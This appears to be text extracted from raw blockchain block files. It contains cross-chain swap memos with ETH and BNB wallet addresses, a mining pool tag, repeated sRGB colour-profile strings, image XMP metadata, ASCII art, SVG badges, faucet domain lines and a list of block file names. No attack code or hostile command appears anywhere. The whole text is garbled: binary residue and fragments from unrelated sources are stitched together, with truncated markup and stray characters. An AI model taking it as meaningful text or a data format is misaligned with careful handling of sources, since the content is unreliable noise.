.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
c/Foundry USA Pool #dropgold/ -
6j4ion:8.QmRVyfy3atjfdREc1zvDYDw3N952bdCUxL5P9GMekBpjDCH
2)")432224222;2222224222022222222422222222422222222222
:j8=:RUNE:thor1tez08xzu5vn5y4qceea3sfa6r9ns9fxfv40yay::wr:0M
4j2DC-L5:pmadD6Un8ebDPz5BP9XiNxGTeqrBfFcGM5qftVIWDFc=
FjDOUT:C61A92272A95D17350C932FC07A02CA3E9C91E0035E970AC75FA12A21141F76C
FjDOUT:E16EB9C4CAA9720C065DE7E27AE04E31A2B89674B7CBEFC2331056EA5DC31E25
FjDOUT:FC07D8A99C2C362A3BAF10E65246858AC50AE653B70067540703055F3437971C
Bible texts from an old British Victorian printing of the traditional King James Bible.Mike Bentley
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
	<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
		<rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"   xmlns:GettM
yImagesGIFT="http://xmp.gettyimages.com/gift/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:plus="http://ns.useplus.org/ldf/xmp/1.0/"  xmlns:iptcExt="http://iptc.org/std/Iptc4xmpExt/2008-02-29/" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" dc:Rights="Mike Bentley" photoshop:Credit="Getty Images/iStockphoto" GettyImagesGIFT:AssetID="115866619" xmpRights:WebStatement="https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&amp;utm_source=google&amp;utm_campaign=iptcurl" >
<rdf:Seq><rdf:li>abzee</rdf:li></rdf:Seq></dc:creator><dc:description><rdf:Alt><rdf:li xml:lang="x-default">Bible texts from an old British Victorian printing of the traditional King James Bible.</rdf:li></rdf:Alt></dc:description>
<plus:Licensor><rdf:Seq><rdf:li rdf:parseType='Resource'><plus:LicensorURL>https://www.istockphoto.com/photo/license-gm115866619-?utm_medium=organic&amp;utm_source=google&amp;utm_campaign=iptcurl</plus:LicensorURL></rdf:li></rdf:Seq></plus:Licensor>
		</rdf:Description>
WBible texts from an old British Victorian printing of the traditional King James Bible.
Getty Images/iStockphoto
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DjB=:ETH.ETH:0xEE51e71Ef86d37Ec7AdaD92D91d6E907f6A7716D:32723308:te:0
Aj?=:ETH.ETH:0xEa076a7273109e114a07a43fE0bfe1d67b6CF780:1622784::0
Aj?=:BNB.BNB:bnb128elx8natvf2q509a9khzf6uvwluhar6sxhsxq:3603331::0
EjC=:BNB.BTCB-1DE:bnb1nmma2u3y75savmrn6gqfwc9evfddu5a0du4eax:147420::0
HjF=:BNB.BUSD-BD1:bnb1wg7jjeuetu7a7janxkecjxggcs5n3tufgm9gnj:263898111::0
Aj?=:ETH.ETH:0xf1F2776d58911B457dbe4F7586A415F049338EA7:7574480::0
CjA=:ETH.ETH:0x10F38478B3bB54C4Fd247C983bc585F918addF10:531569429::0
JjH=:BNB.BUSD-BD1:bnb1wk8sl98umghj880jywfr5kr02rlh3p9lj7mrr9:20012659554::0
@j>=:BNB.BNB:bnb1zuw98j50tp6l0lylya97tr8wn3y48zuqnp5ysr:3521:te:0
CjA=:ETH.ETH:0x8EF231d0F1d8b3ACfE7F58BBE8cedAE4E8928D6d:1850144:te:0
DjB=:BNB.BNB:bnb12xd9xc7sx9vy9z4r5r4veddpdgrvqx236z2sv6:21740461:te:0
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
Aj?=:BNB.BNB:bnb1zz2qw0gfgr7pum8ms5rj5tg0lsu4gk0h3ytgnp:4428273::0
text/plain;charset=utf-8
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJG######PJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJYYYB@&@@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ5@@@GYY5@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJPGPGBBB5JJY@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ#@@&JJJYYJ5@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ5###GGGPYYYYYJ5@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJYYYP@&@P555YYYYYJ5@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ&@@&5PPYYYYYYYYYJ5@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJM
JJJJJJ5GGGGGGPYYYJJJJYYYYYYYGGGGGGGYJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@J7?????????YYYYYYJ??7G@@@YJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY##&GYYY?777??????????JYYJ???JYYY##&GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B7??7777??????????JJJJ???????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B????????????????????????????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B???JJJJ?M
?????????????JJJ???J&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@G???JYJJ??????????????YYJJ??J&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJP&&#YYYJ???YYYYYYYJ??????????YYYYYY5&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJG@@@J??????5PPP555J??????????PPPP555&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJG@@@J7?????&@@&GGGJ?????????J@@@#GGG@@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJG@@@GGG5???PGGPYYYJ?????????JGGM
GPYY5&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJG@@@@@@B???JJJJ??????????????JJJ????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJY5Y5&@@B????????????????????????????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ&@@B??????????????YYYJ??????????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B?????????????Y@@@P??????????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B?????????????JPPPJ??????????&@@BJJJJJJM
JJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B????????????????????????????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJY&@@B7?????????5GGGGGGGGGP???????&@@BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJYB##GYYY???????5PPPPPPPPP5???J5Y5###GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y???????????????????7G@@@YJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y??YBBBJ?????????JGBBGPPPYJJJJJJJJJJJJJJJJJJJJJJJJM
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y??5@@@5?????????Y@@@GJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y???JJJB@&&&&&&&&&YYYYJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y??????G#B#@@@&##BJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y????????7Y@@@PJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y?????????Y@@@PJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJL`JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJP@@@Y?????????Y@@@PJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJh!
Bj@=:ETH.ETH:0x669DccfD471E488fe87dCf759a2f03c738FD8BdC:465109:te:0
((((((((((((((((((((((((((((((((((((((((((((((((((
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
text/plain;charset=utf-8
faucet.nullish.orgh!
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#d48b7b" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#df2e04" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#e9d08d" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
"a$.h$Kx$-h$/i$.h$.h*
liTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
f:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>a0cf7177-3042-4f66-a9e3-9ff6d6f284fc</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
 <rdf:Description rdf:about='M
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 10</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
<?xpacket end='r'?>d^
c/Foundry USA Pool #dropgold/
CjA=:ETH.ETH:0x7f72175eD16644D898EC89c9378F001023d9d3C0:235348091::0
IjGREFUND:94A821FBD3C48453CECF381E1819430ED955225ADB9BEFC13D42D52CE5C231B3
EjC=:ETH.ETH:0x10192D5045C8D9d30c1e66dA673A27579389D7bF:670263172:te:0
Bj@=:BNB.BNB:bnb1zuw98j50tp6l0lylya97tr8wn3y48zuqnp5ysr:677348:te:0
FjDOUT:3D21192A65EF9B5B99AAEBD26992518344FB6EBB204A7FD12CBD71AC5D51D044
IjGREFUND:6885062B8B5213332AD00A01A6FCE83B8C26ECB2B09C64C9BBDA7344F90DA615
IjGREFUND:3FBCDA423BDCED3E6291CE4471508012BA11972D9A0F83A6197703512F216385
LjJProcertif:878ec8973b78b5aa96a95222b01e7a4af87d1dd6674cd8f027be7842b12035b7
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#c9e8f2" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#bf4669" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
9)+".C;GFB;A@JTkZJOeP@A]~^enrwywHY
7sMAMssssssssssssssssssssssssssssssssssssssssssssssssss
<svg style="font:160% arial;font-weight:700;fill:white"
    height="100%" width="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
    <circle cy="50%"  cx="50%" r="50%" fill="#b4a3e0" />
    <text x="29%" y="28%">600</text>
    <text x="29%" y="48%">000</text>
    <text x="29%" y="68%">000</text>
    <text x="29%" y="88%">000</text>
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
yhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:doM
cid:gimp:8c174021-a98f-4c2b-bd3e-8d4e7c745f5f" xmpMM:InstanceID="xmp.iid:7ae70656-8761-4f6d-b1ef-daae4822141c" xmpMM:OriginalDocumentID="xmp.did:a0b12ca1-31d4-45b7-b69d-862197b18549" dc:Format="image/jpeg" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676342943384363" GIMP:Version="2.10.30" xmp:CreatorTool="GIMP 2.10"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:ed9efdb5-8fa8-4fd1-8247-245127ed050f" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="M
2023-02-13T21:49:03-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                     M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                    <?xpacket end="w"?>
Copyright Apple Inc., 2017
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(B(BP
(B(B(B(B(B(B(B(B(B(B(BP
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.5.0">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:exif="http://ns.adobe.com/exif/1.0/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mM
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
   exif:ColorSpace="1"
   exif:PixelXDimension="360"
   exif:PixelYDimension="360"
   photoshop:ColorMode="3"
   photoshop:ICCProfile="sRGB IEC61966-2.1"
   tiff:ImageLength="360"
   tiff:ImageWidth="360"
   tiff:ResolutionUnit="2"
   tiff:XResolution="72/1"
   tiff:YResolution="72/1"
   xmp:MetadataDate="2023-02-14T01:40:39+01:00"
   xmp:ModifyDate="2023-02-14T01:40:39+01:00">
      xmpMM:action="prM
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-11T22:31:19+01:00"/>
      xmpMM:action="produced"
      xmpMM:softwareAgent="Affinity Photo 1.10.5"
      xmpMM:when="2023-02-13T14:54:03+01:00"/>
      stEvt:action="produced"
      stEvt:softwareAgent="Affinity Photo 1.10.5"
      stEvt:when="2023-02-14T01:40:39+01:00"/>
  </rdf:Description>
iCCPsRGB IEC61966-2.1

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

blk00000.txt blk00001.txt blk00002.txt blk00003.txt blk00004.txt blk00005.txt blk00006.txt blk00007.txt blk00008.txt blk00009.txt blk00010.txt blk00011.txt blk00012.txt blk00013.txt blk00014.txt blk00015.txt blk00016.txt blk00017.txt blk00018.txt blk00019.txt blk00020.txt blk00021.txt blk00022.txt blk00023.txt blk00024.txt blk00025.txt blk00026.txt blk00027.txt blk00028.txt blk00029.txt blk00030.txt blk00031.txt blk00032.txt blk00033.txt blk00034.txt blk00035.txt blk00036.txt blk00037.txt blk00038.txt blk00039.txt blk00040.txt blk00041.txt blk00042.txt blk00043.txt blk00044.txt blk00045.txt blk00046.txt blk00047.txt blk00048.txt blk00049.txt blk00050.txt blk00051.txt blk00052.txt blk00053.txt blk00054.txt blk00055.txt blk00056.txt blk00057.txt blk00058.txt blk00059.txt blk00060.txt blk00061.txt blk00062.txt blk00063.txt blk00064.txt blk00065.txt blk00066.txt blk00067.txt blk00068.txt blk00069.txt blk00070.txt blk00071.txt blk00072.txt blk00073.txt blk00074.txt blk00075.txt blk00076.txt blk00077.txt blk00078.txt blk00079.txt blk00080.txt blk00081.txt blk00082.txt blk00083.txt blk00084.txt blk00085.txt blk00086.txt blk00087.txt blk00088.txt blk00089.txt blk00090.txt blk00091.txt blk00092.txt blk00093.txt blk00094.txt blk00095.txt blk00096.txt blk00097.txt blk00098.txt blk00099.txt blk00100.txt blk00101.txt blk00102.txt blk00103.txt blk00104.txt blk00105.txt blk00106.txt blk00107.txt blk00108.txt blk00109.txt blk00110.txt blk00111.txt blk00112.txt blk00113.txt blk00114.txt blk00115.txt blk00116.txt blk00117.txt blk00118.txt blk00119.txt blk00120.txt blk00121.txt blk00122.txt blk00123.txt blk00124.txt blk00125.txt blk00126.txt blk00127.txt blk00128.txt blk00129.txt blk00130.txt blk00131.txt blk00132.txt blk00133.txt blk00134.txt blk00135.txt blk00136.txt blk00137.txt blk00138.txt blk00139.txt blk00140.txt blk00141.txt blk00142.txt blk00143.txt blk00144.txt blk00145.txt blk00146.txt blk00147.txt blk00148.txt blk00149.txt blk00150.txt blk00151.txt blk00152.txt blk00153.txt blk00154.txt blk00155.txt blk00156.txt blk00157.txt blk00158.txt blk00159.txt blk00160.txt blk00161.txt blk00162.txt blk00163.txt blk00164.txt blk00165.txt blk00166.txt blk00167.txt blk00168.txt blk00169.txt blk00170.txt blk00171.txt blk00172.txt blk00173.txt blk00174.txt blk00175.txt blk00176.txt blk00177.txt blk00178.txt blk00179.txt blk00180.txt blk00181.txt blk00182.txt blk00183.txt blk00184.txt blk00185.txt blk00186.txt blk00187.txt blk00188.txt blk00189.txt blk00190.txt blk00191.txt blk00192.txt blk00193.txt blk00194.txt blk00195.txt blk00196.txt blk00197.txt blk00198.txt blk00199.txt blk00200.txt blk00201.txt blk00202.txt blk00203.txt blk00204.txt blk00205.txt blk00206.txt blk00207.txt blk00208.txt blk00209.txt blk00210.txt blk00211.txt blk00212.txt blk00213.txt blk00214.txt blk00215.txt blk00216.txt blk00217.txt blk00218.txt blk00219.txt blk00220.txt blk00221.txt blk00222.txt blk00223.txt blk00224.txt blk00225.txt blk00226.txt blk00227.txt blk00228.txt blk00229.txt blk00230.txt blk00231.txt blk00232.txt blk00233.txt blk00234.txt blk00235.txt blk00236.txt blk00237.txt blk00238.txt blk00239.txt blk00240.txt blk00241.txt blk00242.txt blk00243.txt blk00244.txt blk00245.txt blk00246.txt blk00247.txt blk00248.txt blk00249.txt blk00250.txt blk00251.txt blk00252.txt blk00253.txt blk00254.txt blk00255.txt blk00256.txt blk00257.txt blk00258.txt blk00259.txt blk00260.txt blk00261.txt blk00262.txt blk00263.txt blk00264.txt blk00265.txt blk00266.txt blk00267.txt blk00268.txt blk00269.txt blk00270.txt blk00271.txt blk00272.txt blk00273.txt blk00274.txt blk00275.txt blk00276.txt blk00277.txt blk00278.txt blk00279.txt blk00280.txt blk00281.txt blk00282.txt blk00283.txt blk00284.txt blk00285.txt blk00286.txt blk00287.txt blk00288.txt blk00289.txt blk00290.txt blk00291.txt blk00292.txt blk00293.txt blk00294.txt blk00295.txt blk00296.txt blk00297.txt blk00298.txt blk00299.txt blk00300.txt blk00301.txt blk00302.txt blk00303.txt blk00304.txt blk00305.txt blk00306.txt blk00307.txt blk00308.txt blk00309.txt blk00310.txt blk00311.txt blk00312.txt blk00313.txt blk00314.txt blk00315.txt blk00316.txt blk00317.txt blk00318.txt blk00319.txt blk00320.txt blk00321.txt blk00322.txt blk00323.txt blk00324.txt blk00325.txt blk00326.txt blk00327.txt blk00328.txt blk00329.txt blk00330.txt blk00331.txt blk00332.txt blk00333.txt blk00334.txt blk00335.txt blk00336.txt blk00337.txt blk00338.txt blk00339.txt blk00340.txt blk00341.txt blk00342.txt blk00343.txt blk00344.txt blk00345.txt blk00346.txt blk00347.txt blk00348.txt blk00349.txt blk00350.txt blk00351.txt blk00352.txt blk00353.txt blk00354.txt blk00355.txt blk00356.txt blk00357.txt blk00358.txt blk00359.txt blk00360.txt blk00361.txt blk00362.txt blk00363.txt blk00364.txt blk00365.txt blk00366.txt blk00367.txt blk00368.txt blk00369.txt blk00370.txt blk00371.txt blk00372.txt blk00373.txt blk00374.txt blk00375.txt blk00376.txt blk00377.txt blk00378.txt blk00379.txt blk00380.txt blk00381.txt blk00382.txt blk00383.txt blk00384.txt blk00385.txt blk00386.txt blk00387.txt blk00388.txt blk00389.txt blk00390.txt blk00391.txt blk00392.txt blk00393.txt blk00394.txt blk00395.txt blk00396.txt blk00397.txt blk00398.txt blk00399.txt blk00400.txt blk00401.txt 